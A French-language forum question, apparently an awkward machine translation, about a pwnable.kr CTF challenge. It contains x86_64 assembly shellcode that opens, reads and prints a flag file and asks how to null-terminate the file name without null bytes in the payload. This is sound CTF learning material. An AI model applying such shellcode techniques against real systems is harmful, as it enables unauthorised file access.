J'essaie de résoudre une tâche CTF à partir de pwnable.kr (bouteille toddlers, asm) dans laquelle je dois écrire un "shellcode", qui va ouvrir, lire et écrire le contenu du fichier (contenant le drapeau).Traitement des chaînes dans le shellcode
Mon code est le suivant:
global _start
section .text
_start:
jmp mesg
shellcode:
; open
pop rdi ; rdi points to file_name and trash
xor rsi, rsi
mov al, 2 ; sys_open
syscall
; read
mov rdi, rax
xor rax, rax ; sys_read
lea rsi, [rsp]
mov dl, 0x20
syscall
; write
mov dl, al ; bytes read
xor rax, rax
mov al, 1 ; sys_write
mov dil, 1 ; stdout
lea rsi, [rsp]
syscall
; crash
xor ebx, ebx
xor eax, eax
div ebx
mesg:
call shellcode
db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00
section .data
0 En divisant par est là pour arrêter l'exécution et éviter les boucles avec call shellcode
La longue chaîne est le nom du fichier contenant le drapeau.
j'ai trouvé le truc avec POPING adresse de ficelle dans un registre ici: Linux Shellcode "Hello, World!"
Mon problème est le suivant: le nom du fichier est nulle fin non. Par conséquent, lorsque sys_open est appelé, le nom du fichier contient la corbeille après la chaîne actuelle.
J'ai essayé de faire someting comme:
xor al, al
mov byte [rdi + 464], al
après bouillonner dans rdi à insérer manuellement NULL, mais je ne peux pas me débarrasser de NULL de bytecode (le shellcode sera lu à partir de stdin, de sorte que c'est un problème).
Quelle est la meilleure façon de faire face à cela?
Architecture: x86_64